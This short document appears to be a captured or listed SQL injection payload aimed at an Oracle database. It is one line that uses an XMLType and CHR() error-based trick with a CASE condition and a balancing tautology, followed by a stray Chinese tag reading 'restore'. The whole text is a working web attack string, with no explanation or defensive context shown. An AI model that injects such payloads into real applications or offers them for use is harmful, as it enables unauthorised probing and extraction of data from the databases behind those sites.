atestu' AND 4760=(SELECT UPPER(XMLType(CHR(60)||'zwAG5i3C'||(SELECT (CASE WHEN (4760=4760) THEN 1 ELSE 0 END) FROM DUAL)||'zwAG5i3C'||CHR(62))) FROM DUAL) AND 'zwAG5i3C'='zwAG5i3C

[还原]